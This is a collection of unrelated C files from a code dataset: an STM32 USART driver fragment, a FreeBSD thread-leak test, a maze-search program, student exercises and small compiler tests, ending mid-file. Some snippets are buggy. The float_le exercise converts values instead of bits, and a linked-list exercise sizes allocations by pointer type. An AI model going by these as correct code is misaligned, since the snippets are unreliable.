* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32f0xx_ll_usart.h"
#include "stm32f0xx_ll_rcc.h"
#include "stm32f0xx_ll_bus.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32F0xx_LL_Driver
* @{
*/
#if defined (USART1) || defined (USART2) || defined (USART3) || defined (USART4) || defined (USART5) || defined (USART6) || defined (USART7) || defined (USART8)
/** @addtogroup USART_LL
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/** @addtogroup USART_LL_Private_Constants
* @{
*/
/**
* @}
*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup USART_LL_Private_Macros
* @{
*/
/* __BAUDRATE__ The maximum Baud Rate is derived from the maximum clock available
* divided by the smallest oversampling used on the USART (i.e. 8) */
#define IS_LL_USART_BAUDRATE(__BAUDRATE__) ((__BAUDRATE__) <= 6000000U)
#define IS_LL_USART_DIRECTION(__VALUE__) (((__VALUE__) == LL_USART_DIRECTION_NONE) \
|| ((__VALUE__) == LL_USART_DIRECTION_RX) \
|| ((__VALUE__) == LL_USART_DIRECTION_TX) \
|| ((__VALUE__) == LL_USART_DIRECTION_TX_RX))
#define IS_LL_USART_PARITY(__VALUE__) (((__VALUE__) == LL_USART_PARITY_NONE) \
|| ((__VALUE__) == LL_USART_PARITY_EVEN) \
|| ((__VALUE__) == LL_USART_PARITY_ODD))
#if defined(USART_7BITS_SUPPORT)
#define IS_LL_USART_DATAWIDTH(__VALUE__) (((__VALUE__) == LL_USART_DATAWIDTH_7B) \
|| ((__VALUE__) == LL_USART_DATAWIDTH_8B) \
|| ((__VALUE__) == LL_USART_DATAWIDTH_9B))
#else
#define IS_LL_USART_DATAWIDTH(__VALUE__) (((__VALUE__) == LL_USART_DATAWIDTH_8B) \
|| ((__VALUE__) == LL_USART_DATAWIDTH_9B))
#endif
#define IS_LL_USART_OVERSAMPLING(__VALUE__) (((__VALUE__) == LL_USART_OVERSAMPLING_16) \
|| ((__VALUE__) == LL_USART_OVERSAMPLING_8))
#define IS_LL_USART_LASTBITCLKOUTPUT(__VALUE__) (((__VALUE__) == LL_USART_LASTCLKPULSE_NO_OUTPUT) \
|| ((__VALUE__) == LL_USART_LASTCLKPULSE_OUTPUT))
#define IS_LL_USART_CLOCKPHASE(__VALUE__) (((__VALUE__) == LL_USART_PHASE_1EDGE) \
|| ((__VALUE__) == LL_USART_PHASE_2EDGE))
#define IS_LL_USART_CLOCKPOLARITY(__VALUE__) (((__VALUE__) == LL_USART_POLARITY_LOW) \
|| ((__VALUE__) == LL_USART_POLARITY_HIGH))
#define IS_LL_USART_CLOCKOUTPUT(__VALUE__) (((__VALUE__) == LL_USART_CLOCK_DISABLE) \
|| ((__VALUE__) == LL_USART_CLOCK_ENABLE))
#if defined(USART_SMARTCARD_SUPPORT)
#define IS_LL_USART_STOPBITS(__VALUE__) (((__VALUE__) == LL_USART_STOPBITS_0_5) \
|| ((__VALUE__) == LL_USART_STOPBITS_1) \
|| ((__VALUE__) == LL_USART_STOPBITS_1_5) \
|| ((__VALUE__) == LL_USART_STOPBITS_2))
#else
#define IS_LL_USART_STOPBITS(__VALUE__) (((__VALUE__) == LL_USART_STOPBITS_1) \
|| ((__VALUE__) == LL_USART_STOPBITS_2))
#endif
#define IS_LL_USART_HWCONTROL(__VALUE__) (((__VALUE__) == LL_USART_HWCONTROL_NONE) \
|| ((__VALUE__) == LL_USART_HWCONTROL_RTS) \
|| ((__VALUE__) == LL_USART_HWCONTROL_CTS) \
|| ((__VALUE__) == LL_USART_HWCONTROL_RTS_CTS))
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup USART_LL_Exported_Functions
* @{
*/
/** @addtogroup USART_LL_EF_Init
* @{
*/
/**
* @brief De-initialize USART registers (Registers restored to their default values).
* @param USARTx USART Instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: USART registers are de-initialized
* - ERROR: USART registers are not de-initialized
*/
ErrorStatus LL_USART_DeInit(USART_TypeDef *USARTx)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_UART_INSTANCE(USARTx));
if (USARTx == USART1)
{
/* Force reset of USART clock */
LL_APB1_GRP2_ForceReset(LL_APB1_GRP2_PERIPH_USART1);
/* Release reset of USART clock */
LL_APB1_GRP2_ReleaseReset(LL_APB1_GRP2_PERIPH_USART1);
}
#if defined(USART2)
else if (USARTx == USART2)
{
/* Force reset of USART clock */
LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_USART2);
/* Release reset of USART clock */
LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_USART2);
}
#endif /* USART2 */
#if defined(USART3)
else if (USARTx == USART3)
{
/* Force reset of USART clock */
LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_USART3);
/* Release reset of USART clock */
LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_USART3);
}
#endif /* USART3 */
#if defined(USART4)
else if (USARTx == USART4)
{
/* Force reset of USART clock */
LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_USART4);
/* Release reset of USART clock */
LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_USART4);
}
#endif /* USART4 */
#if defined(USART5)
else if (USARTx == USART5)
{
/* Force reset of USART clock */
LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_USART5);
/* Release reset of USART clock */
LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_USART5);
}
#endif /* USART5 */
#if defined(USART6)
else if (USARTx == USART6)
{
/* Force reset of USART clock */
LL_APB1_GRP2_ForceReset(LL_APB1_GRP2_PERIPH_USART6);
/* Release reset of USART clock */
LL_APB1_GRP2_ReleaseReset(LL_APB1_GRP2_PERIPH_USART6);
}
#endif /* USART6 */
#if defined(USART7)
else if (USARTx == USART7)
{
/* Force reset of USART clock */
LL_APB1_GRP2_ForceReset(LL_APB1_GRP2_PERIPH_USART7);
/* Release reset of USART clock */
LL_APB1_GRP2_ReleaseReset(LL_APB1_GRP2_PERIPH_USART7);
}
#endif /* USART7 */
#if defined(USART8)
else if (USARTx == USART8)
{
/* Force reset of USART clock */
LL_APB1_GRP2_ForceReset(LL_APB1_GRP2_PERIPH_USART8);
/* Release reset of USART clock */
LL_APB1_GRP2_ReleaseReset(LL_APB1_GRP2_PERIPH_USART8);
}
#endif /* USART8 */
else
{
status = ERROR;
}
return (status);
}
/**
* @brief Initialize USART registers according to the specified
* parameters in USART_InitStruct.
* @note As some bits in USART configuration registers can only be written when the USART is disabled (USART_CR1_UE bit =0),
* USART IP should be in disabled state prior calling this function. Otherwise, ERROR result will be returned.
* @note Baud rate value stored in USART_InitStruct BaudRate field, should be valid (different from 0).
* @param USARTx USART Instance
* @param USART_InitStruct: pointer to a LL_USART_InitTypeDef structure
* that contains the configuration information for the specified USART peripheral.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: USART registers are initialized according to USART_InitStruct content
* - ERROR: Problem occurred during USART Registers initialization
*/
ErrorStatus LL_USART_Init(USART_TypeDef *USARTx, LL_USART_InitTypeDef *USART_InitStruct)
{
ErrorStatus status = ERROR;
uint32_t periphclk = LL_RCC_PERIPH_FREQUENCY_NO;
#if defined(STM32F030x8) || defined(STM32F030xC) || defined(STM32F042x6) || defined(STM32F048xx) || defined(STM32F051x8) || defined(STM32F058xx) || defined(STM32F070x6) || defined(STM32F070xB) || defined(STM32F071xB) || defined(STM32F072xB) || defined(STM32F078xx) || defined(STM32F091xC) || defined(STM32F098xx)
LL_RCC_ClocksTypeDef RCC_Clocks;
#endif
/* Check the parameters */
assert_param(IS_UART_INSTANCE(USARTx));
assert_param(IS_LL_USART_BAUDRATE(USART_InitStruct->BaudRate));
assert_param(IS_LL_USART_DATAWIDTH(USART_InitStruct->DataWidth));
assert_param(IS_LL_USART_STOPBITS(USART_InitStruct->StopBits));
assert_param(IS_LL_USART_PARITY(USART_InitStruct->Parity));
assert_param(IS_LL_USART_DIRECTION(USART_InitStruct->TransferDirection));
assert_param(IS_LL_USART_HWCONTROL(USART_InitStruct->HardwareFlowControl));
assert_param(IS_LL_USART_OVERSAMPLING(USART_InitStruct->OverSampling));
/* USART needs to be in disabled state, in order to be able to configure some bits in
CRx registers */
if (LL_USART_IsEnabled(USARTx) == 0U)
{
/*---------------------------- USART CR1 Configuration -----------------------
* Configure USARTx CR1 (USART Word Length, Parity, Mode and Oversampling bits) with parameters:
* - DataWidth: USART_CR1_M bits according to USART_InitStruct->DataWidth value
* - Parity: USART_CR1_PCE, USART_CR1_PS bits according to USART_InitStruct->Parity value
* - TransferDirection: USART_CR1_TE, USART_CR1_RE bits according to USART_InitStruct->TransferDirection value
* - Oversampling: USART_CR1_OVER8 bit according to USART_InitStruct->OverSampling value.
*/
MODIFY_REG(USARTx->CR1,
(USART_CR1_M | USART_CR1_PCE | USART_CR1_PS |
USART_CR1_TE | USART_CR1_RE | USART_CR1_OVER8),
(USART_InitStruct->DataWidth | USART_InitStruct->Parity |
USART_InitStruct->TransferDirection | USART_InitStruct->OverSampling));
/*---------------------------- USART CR2 Configuration -----------------------
* Configure USARTx CR2 (Stop bits) with parameters:
* - Stop Bits: USART_CR2_STOP bits according to USART_InitStruct->StopBits value.
* - CLKEN, CPOL, CPHA and LBCL bits are to be configured using LL_USART_ClockInit().
*/
LL_USART_SetStopBitsLength(USARTx, USART_InitStruct->StopBits);
/*---------------------------- USART CR3 Configuration -----------------------
* Configure USARTx CR3 (Hardware Flow Control) with parameters:
* - HardwareFlowControl: USART_CR3_RTSE, USART_CR3_CTSE bits according to USART_InitStruct->HardwareFlowControl value.
*/
LL_USART_SetHWFlowCtrl(USARTx, USART_InitStruct->HardwareFlowControl);
/*---------------------------- USART BRR Configuration -----------------------
* Retrieve Clock frequency used for USART Peripheral
*/
if (USARTx == USART1)
{
periphclk = LL_RCC_GetUSARTClockFreq(LL_RCC_USART1_CLKSOURCE);
}
#if defined(USART2)
else if (USARTx == USART2)
{
#if defined (RCC_CFGR3_USART2SW)
periphclk = LL_RCC_GetUSARTClockFreq(LL_RCC_USART2_CLKSOURCE);
#else
/* USART2 clock is PCLK */
LL_RCC_GetSystemClocksFreq(&RCC_Clocks);
periphclk = RCC_Clocks.PCLK1_Frequency;
#endif
}
#endif /* USART2 */
#if defined(USART3)
else if (USARTx == USART3)
{
#if defined (RCC_CFGR3_USART3SW)
periphclk = LL_RCC_GetUSARTClockFreq(LL_RCC_USART3_CLKSOURCE);
#else
/* USART3 clock is PCLK */
LL_RCC_GetSystemClocksFreq(&RCC_Clocks);
periphclk = RCC_Clocks.PCLK1_Frequency;
#endif
}
#endif /* USART3 */
#if defined(USART4)
else if (USARTx == USART4)
{
/* USART4 clock is PCLK */
LL_RCC_GetSystemClocksFreq(&RCC_Clocks);
periphclk = RCC_Clocks.PCLK1_Frequency;
}
#endif /* USART4 */
#if defined(USART5)
else if (USARTx == USART5)
{
/* USART5 clock is PCLK */
LL_RCC_GetSystemClocksFreq(&RCC_Clocks);
periphclk = RCC_Clocks.PCLK1_Frequency;
}
#endif /* USART5 */
#if defined(USART6)
else if (USARTx == USART6)
{
/* USART6 clock is PCLK */
LL_RCC_GetSystemClocksFreq(&RCC_Clocks);
periphclk = RCC_Clocks.PCLK1_Frequency;
}
#endif /* USART6 */
#if defined(USART7)
else if (USARTx == USART7)
{
/* USART7 clock is PCLK */
LL_RCC_GetSystemClocksFreq(&RCC_Clocks);
periphclk = RCC_Clocks.PCLK1_Frequency;
}
#endif /* USART7 */
#if defined(USART8)
else if (USARTx == USART8)
{
/* USART8 clock is PCLK */
LL_RCC_GetSystemClocksFreq(&RCC_Clocks);
periphclk = RCC_Clocks.PCLK1_Frequency;
}
#endif /* USART8 */
else
{
/* Nothing to do, as error code is already assigned to ERROR value */
}
/* Configure the USART Baud Rate :
- valid baud rate value (different from 0) is required
- Peripheral clock as returned by RCC service, should be valid (different from 0).
*/
if ((periphclk != LL_RCC_PERIPH_FREQUENCY_NO)
&& (USART_InitStruct->BaudRate != 0U))
{
status = SUCCESS;
LL_USART_SetBaudRate(USARTx,
periphclk,
USART_InitStruct->OverSampling,
USART_InitStruct->BaudRate);
}
}
/* Endif (=> USART not in Disabled state => return ERROR) */
return (status);
}
/**
* @brief Set each @ref LL_USART_InitTypeDef field to default value.
* @param USART_InitStruct: pointer to a @ref LL_USART_InitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_USART_StructInit(LL_USART_InitTypeDef *USART_InitStruct)
{
/* Set USART_InitStruct fields to default values */
USART_InitStruct->BaudRate = 9600U;
USART_InitStruct->DataWidth = LL_USART_DATAWIDTH_8B;
USART_InitStruct->StopBits = LL_USART_STOPBITS_1;
USART_InitStruct->Parity = LL_USART_PARITY_NONE ;
USART_InitStruct->TransferDirection = LL_USART_DIRECTION_TX_RX;
USART_InitStruct->HardwareFlowControl = LL_USART_HWCONTROL_NONE;
USART_InitStruct->OverSampling = LL_USART_OVERSAMPLING_16;
}
/**
* @brief Initialize USART Clock related settings according to the
* specified parameters in the USART_ClockInitStruct.
* @note As some bits in USART configuration registers can only be written when the USART is disabled (USART_CR1_UE bit =0),
* USART IP should be in disabled state prior calling this function. Otherwise, ERROR result will be returned.
* @param USARTx USART Instance
* @param USART_ClockInitStruct: pointer to a @ref LL_USART_ClockInitTypeDef structure
* that contains the Clock configuration information for the specified USART peripheral.
* @retval An ErrorStatus enumeration value:
* - SUCCESS: USART registers related to Clock settings are initialized according to USART_ClockInitStruct content
* - ERROR: Problem occurred during USART Registers initialization
*/
ErrorStatus LL_USART_ClockInit(USART_TypeDef *USARTx, LL_USART_ClockInitTypeDef *USART_ClockInitStruct)
{
ErrorStatus status = SUCCESS;
/* Check USART Instance and Clock signal output parameters */
assert_param(IS_UART_INSTANCE(USARTx));
assert_param(IS_LL_USART_CLOCKOUTPUT(USART_ClockInitStruct->ClockOutput));
/* USART needs to be in disabled state, in order to be able to configure some bits in
CRx registers */
if (LL_USART_IsEnabled(USARTx) == 0U)
{
/*---------------------------- USART CR2 Configuration -----------------------*/
/* If Clock signal has to be output */
if (USART_ClockInitStruct->ClockOutput == LL_USART_CLOCK_DISABLE)
{
/* Deactivate Clock signal delivery :
* - Disable Clock Output: USART_CR2_CLKEN cleared
*/
LL_USART_DisableSCLKOutput(USARTx);
}
else
{
/* Ensure USART instance is USART capable */
assert_param(IS_USART_INSTANCE(USARTx));
/* Check clock related parameters */
assert_param(IS_LL_USART_CLOCKPOLARITY(USART_ClockInitStruct->ClockPolarity));
assert_param(IS_LL_USART_CLOCKPHASE(USART_ClockInitStruct->ClockPhase));
assert_param(IS_LL_USART_LASTBITCLKOUTPUT(USART_ClockInitStruct->LastBitClockPulse));
/*---------------------------- USART CR2 Configuration -----------------------
* Configure USARTx CR2 (Clock signal related bits) with parameters:
* - Enable Clock Output: USART_CR2_CLKEN set
* - Clock Polarity: USART_CR2_CPOL bit according to USART_ClockInitStruct->ClockPolarity value
* - Clock Phase: USART_CR2_CPHA bit according to USART_ClockInitStruct->ClockPhase value
* - Last Bit Clock Pulse Output: USART_CR2_LBCL bit according to USART_ClockInitStruct->LastBitClockPulse value.
*/
MODIFY_REG(USARTx->CR2,
USART_CR2_CLKEN | USART_CR2_CPHA | USART_CR2_CPOL | USART_CR2_LBCL,
USART_CR2_CLKEN | USART_ClockInitStruct->ClockPolarity |
USART_ClockInitStruct->ClockPhase | USART_ClockInitStruct->LastBitClockPulse);
}
}
/* Else (USART not in Disabled state => return ERROR */
else
{
status = ERROR;
}
return (status);
}
/**
* @brief Set each field of a @ref LL_USART_ClockInitTypeDef type structure to default value.
* @param USART_ClockInitStruct: pointer to a @ref LL_USART_ClockInitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_USART_ClockStructInit(LL_USART_ClockInitTypeDef *USART_ClockInitStruct)
{
/* Set LL_USART_ClockInitStruct fields with default values */
USART_ClockInitStruct->ClockOutput = LL_USART_CLOCK_DISABLE;
USART_ClockInitStruct->ClockPolarity = LL_USART_POLARITY_LOW; /* Not relevant when ClockOutput = LL_USART_CLOCK_DISABLE */
USART_ClockInitStruct->ClockPhase = LL_USART_PHASE_1EDGE; /* Not relevant when ClockOutput = LL_USART_CLOCK_DISABLE */
USART_ClockInitStruct->LastBitClockPulse = LL_USART_LASTCLKPULSE_NO_OUTPUT; /* Not relevant when ClockOutput = LL_USART_CLOCK_DISABLE */
}
/**
* @}
*/
/**
* @}
*/
/**
* @}
*/
#endif /* USART1 || USART2|| USART3 || USART4 || USART5 || USART6 || USART7 || USART8 */
/**
* @}
*/
#endif /* USE_FULL_LL_DRIVER */
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
|
the_stack_data/670000.c
|
#include<stdio.h>
#include<stdlib.h>
typedef struct node {
int value;
struct node* next;
} node_t;
node_t * construct_3() {
//Allocate three pointers:
//x for the first Node, and temporary pointers y and z for the other two Nodes.
//Allocate three Node pointees and store references to them in the three pointers.
//Dereference each pointer to store the appropriate number into the value field in its pointee.
//Dereference each pointer to access the .next field in its pointee,
//and use pointer assignment to set the .next field to point to the appropriate Node.
node_t *x, *y, *z;
x = (node_t *)malloc(sizeof(node_t *)*2);
y = (node_t *)malloc(sizeof(node_t *)*2);
z = (node_t *)malloc(sizeof(node_t *)*2);
x->value = 1;
y->value = 2;
z->value = 3;
x->next = y;
y->next = z;
z->next = x;
return x;
}
//You can ignore the following code for testing
int dump_all(node_t*);
int main (int argc, char ** argv) {
node_t * x = construct_3();
return dump_all(x);
}
int dump_all(node_t * x) {
printf("x -> %d\n", x->value);
node_t * y = x->next;
printf("%d -> %d\n", x->value, y->value);
node_t * z = y->next;
printf("%d -> %d\n", y->value, z->value);
if(z->next != x) {
free(x);
free(y);
free(z);
printf("failed");
return -1;
} else {
printf("%d -> %d\n", z->value, x->value);
free(x);
free(y);
free(z);
return 0;
}
}
|
the_stack_data/220456255.c
|
/*
* Copyright (C) 2001 Jason Evans <[email protected]>.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice(s), this list of conditions and the following disclaimer as
* the first lines of this file unmodified other than the possible
* addition of one or more copyright notices.
* 2. Redistributions in binary form must reproduce the above copyright
* notice(s), this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER(S) ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER(S) BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
* OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* $FreeBSD: src/lib/libc_r/test/join_leak_d.c,v 1.2.32.1.6.1 2010/12/21 17:09:25 kensmith Exp $
*
* Test for leaked joined threads.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <pthread.h>
#define NITERATIONS 16384
#define MAXGROWTH 16384
void *
thread_entry(void *a_arg)
{
return NULL;
}
int
main(void)
{
pthread_t thread;
int i, error;
char *brk, *nbrk;
unsigned growth;
fprintf(stderr, "Test begin\n");
/* Get an initial brk value. */
brk = sbrk(0);
/* Create threads and join them, one at a time. */
for (i = 0; i < NITERATIONS; i++) {
if ((error = pthread_create(&thread, NULL, thread_entry, NULL))
!= 0) {
if (error == EAGAIN) {
i--;
continue;
}
fprintf(stderr, "Error in pthread_create(): %s\n",
strerror(error));
exit(1);
}
if ((error = pthread_join(thread, NULL)) != 0) {
fprintf(stderr, "Error in pthread_join(): %s\n",
strerror(error));
exit(1);
}
}
/* Get a final brk value. */
nbrk = sbrk(0);
/*
* Check that the amount of heap space allocated is below an acceptable
* threshold. We could just compare brk and nbrk, but the test could
* conceivably break if the internals of the threads library changes.
*/
if (nbrk > brk) {
/* Heap grows up. */
growth = nbrk - brk;
} else if (nbrk <= brk) {
/* Heap grows down, or no growth. */
growth = brk - nbrk;
}
if (growth > MAXGROWTH) {
fprintf(stderr, "Heap growth exceeded maximum (%u > %u)\n",
growth, MAXGROWTH);
}
#if (0)
else {
fprintf(stderr, "Heap growth acceptable (%u <= %u)\n",
growth, MAXGROWTH);
}
#endif
fprintf(stderr, "Test end\n");
return 0;
}
|
the_stack_data/131987.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*********************************************************************************
* 假设一个探险家被困在了地底的迷宫之中,要从当前位置开始找到一条通往迷宫出口的路径。迷宫可以用一个
* 二维矩阵组成,有的部分是墙,有的部分是路。迷宫之中有的路上还有门,每扇门都在迷宫的某个地方有与之
* 匹配的钥匙,只有先拿到钥匙才能打开门。请设计一个算法,帮助探险家找到脱困的最短路径。如前所述,迷
* 宫是通过一个二维矩阵表示的,每个元素的值的含义如下 0-墙,1-路,2-探险家的起始位置,3-迷宫的出口,
* 大写字母-门,小写字母-对应大写字母所代表的门的钥匙。
* 输入:
* 5 5 矩阵的行和列
* 02111 矩阵的具体值
* 01a0A
* 01003
* 01001
* 01111
******************************************************************************/
typedef enum{False, True} Boolean;
typedef struct Step{
int x,y;
int status;
int dis;
}Step;
typedef struct QNode{
Step *step;
struct QNode *next;
}QNode;
typedef struct{
QNode *front;
QNode *rear;
}Queue;
int m, n, knum; // m:行,n:列
/*char map[5][5] = {{'0', '2', '1', '1', '1'},
{'0', '1', 'a', '0', 'A'},
{'0', '1', '0', '0', '3'},
{'0', '1', '0', '0', '1'},
{'0', '1', '1', '1', '1'}};*/
char map[6][10] = {{'a', '1', '1', '0', '0', '0', '0', '0', '1', '1'},
{'0', '0', '2', '1', '1', '1', '1', '1', '1', '0'},
{'1', '1', '1', '0', '1', '0', '0', '0', 'A', '0'},
{'1', '0', '0', '1', '1', '0', '0', '1', '1', '1'},
{'1', '0', '0', 'B', '0', '0', '0', '1', '0', '1'},
{'1', '1', '0', '3', '0', '0', '0', '1', 'b', '1'}};
int visit[1024][101][101]; // 一定要定义在静态存储空间!!!
int dx[] = {-1, 1, 0, 0}; // 下移和上移
int dy[] = {0, 0, -1, 1}; // 左移和右移
void initQueue(Queue *Q)
{
QNode *head = (QNode*)malloc(sizeof(QNode));
head->step = NULL;
head->next = NULL;
Q->front = head;
Q->rear = head;
}
Boolean isEmpty(Queue *Q)
{
if(Q->front == Q->rear)
return True;
else
return False;
}
void push(Queue *Q, Step *step)
{
QNode *node = (QNode*)malloc(sizeof(QNode));
node->step = step;
node->next = Q->rear->next;
Q->rear->next = node;
Q->rear = node;
}
Step* pop(Queue *Q)
{
if(isEmpty(Q)) return NULL;
QNode *node = Q->front->next;
Step *step = node->step;
Q->front->next = node->next;
if(node == Q->rear)
Q->rear = Q->front;
free(node);
return step;
}
Step* goStep(int x, int y, int status, int dis)
{
Step *step = (Step*)malloc(sizeof(Step));
step->x = x;
step->y = y;
step->status = status;
step->dis = dis;
return step;
}
int main()
{
m = 6; n = 10; knum = 3;
Step *origin = (Step*)malloc(sizeof(Step));
Queue *Q = (Queue*)malloc(sizeof(Queue));
initQueue(Q);
// scanf("%d %d", &m, &n);
/*for(int k = 0; k < knum; k++) 其实编译器会置初始值0
for(int i = 0; i < m; i++)
for(int j = 0; j < n; j++) visit[k][i][j] = 0;*/
for(int i = 0; i < m; i++){
for(int j = 0; j < n; j++){
// scanf(" %c", &map[i][j]); // %c前面的空格就是用来屏蔽空白符的
if(map[i][j] == '2'){ // 起点
origin->x = i;
origin->y = j;
origin->status = 0;
origin->dis = 0;
goto loop;
}
}
}
loop:;
visit[0][origin->x][origin->y] = 1;
/*for(int k = 0; k < knum; k++){
for(int i = 0; i < m; i++){
for(int j = 0; j < n; j++) printf("%d", visit[k][i][j]);
printf("\n");
}
printf("\n");
}
return 0;*/
push(Q, origin);
Step *p;
while(!isEmpty(Q)){
p = pop(Q);
printf("%d %d %d %d\n\n", p->status, p->x, p->y, p->dis );
if(map[p->x][p->y] == '3'){
printf("%d\n", p->dis);
break;
}
for(int i = 0; i < 4; i++) {
int xx = p->x + dx[i], yy = p->y + dy[i];
if( xx < 0 || xx >= m || yy < 0 || yy >= n || map[xx][yy] == '0' || visit[p->status][xx][yy]) continue;
if( map[xx][yy] >= 'A' && map[xx][yy] <= 'Z') {
if(p->status & (1 << (map[xx][yy] - 'A')) )
{
visit[p->status][xx][yy] = 1;
Step *step = goStep(xx, yy, p->status, p->dis + 1);
push(Q, step);
// printf("A:%d %d %d %d \n", p->status, xx, yy, p->dis + 1 );
}
} else if(map[xx][yy] >= 'a' && map[xx][yy] <= 'z') {
visit[ p->status | (1<<(map[xx][yy]-'a')) ][xx][yy]=1;
Step *step = goStep(xx, yy, p->status | (1 << (map[xx][yy] - 'a')), p->dis + 1);
push(Q, step);
// printf("a:%d %d %d %d \n", p->status, xx, yy, p->dis + 1 );
} else {
visit[p->status][xx][yy] = 1;
Step *step = goStep(xx, yy, p->status, p->dis + 1);
push(Q, step);
// printf("1:%d %d %d %d \n", p->status, xx, yy, p->dis + 1 );
}
}
}
return 0;
}
|
the_stack_data/96474.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <time.h>
void criaArquivo(char nome[40]){
FILE *f=fopen(nome,"w");
fclose(f);
}
void bubblesort(int v[3]){
int i, j, aux;
for(i=0;i<3;i++)
for(j=0;j<2;j++)
if(v[j]>v[j+1]){
aux=v[j];
v[j]=v[j+1];
v[j+1]=aux;
}
}
int main()
{
FILE *f1,*f2;
f1=fopen("aluno_entrada.txt","r");
f2=fopen("aluno_saida.txt","w");
if(f1==NULL){
criaArquivo("aluno_entrada.txt");
f1=fopen("aluno_entrada.txt","r");
}
char c;
int i=0, notas[3], nota=0;
do{
c=fgetc(f1);
if(isdigit(c)){
notas[i]=c-'0';
i++;
nota=1;
}
else if(nota==0)
fputc(c,f2);
}while(c!=EOF);
bubblesort(notas);
fprintf(f2, "%d %d %d", notas[0], notas[1], notas[2]);
fclose(f1);
fclose(f2);
return 0;
system("PAUSE");
}
|
the_stack_data/279828.c
|
#include<stdio.h>
#include<assert.h>
unsigned f2u(float x){
return (unsigned) x;
}
int float_le(float x, float y) {
unsigned ux = f2u(x);
unsigned uy = f2u(y);
unsigned sx = ux >> 31;
unsigned sy = uy >> 31;
/* Give an expression using only ux, uy, sx, and sy */
return (ux << 1 == 0 && uy << 1 == 0) || /* both zeros */
(sx && !sy) || /* x < 0, y >= 0 or x <= 0, y > 0 */
(!sx && !sy && ux <= uy) || /* x > 0, y >= 0 or x >= 0, y > 0 */
(sx && sy && ux >= uy); /* x < 0, y <= 0 or x <= 0, y < 0 */
}
int main(){
assert(float_le(-0, +0));
assert(float_le(+0, -0));
assert(float_le(0, 3));
assert(float_le(-4, -0));
assert(float_le(-4, 4));
return 0;
}
|
the_stack_data/1206871.c
|
/*
* exec_poc.c
*
* Trivial demo of using execl() to execute a process.
* Shows that the PID of the predecessor and successor are the same.
*
* Author: Kaiwan N Billimoria <[email protected]>
* License: MIT
*/
//#include "../common.h"
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
printf("Predecessor \"%s\": PID is %d\n", argv[0], getpid());
printf("%s: will exec \"ps\" now..\n", argv[0]);
/*
* gcc gives: envp.c:42: warning: missing sentinel in function call
* Solution:
* From the man page:
* "The list of arguments must be terminated by a NULL pointer, and,
* since these are variadic functions, this pointer must be
* cast (char *) NULL"
*/
if (execl("/bin/ps", "ps", (char *)0) == -1) {
perror("execl failed");
exit(1);
}
// this line will never be reached on execl() success
exit(0); // just to get rid of compiler warning
}
|
the_stack_data/9773.c
|
int MAIN_FUNCTION_op_lt_false()
{
return 20 < -10;
}
|
the_stack_data/51674.c
|
extern void exit (int);
int
main()
{
int i = 1;
int j = 0;
while (i != 1024 || j <= 0) {
i *= 2;
++ j;
}
if (j != 10)
abort ();
exit (0);
}
|
the_stack_data/179832077.c
|
#include <stdio.h>
#include <string.h>
void getPuzzle(char *puzzle);
void printPuzzle(char *puzzle, int x, int y, int selection[8][2]);
void getMonths(char *months);
int verifySelection(int *selection, char *puzzle, char months[12][10]);
int main()
{
int c;
int i, j;
int x, y;
x = y = 0;
int selection[8][2];
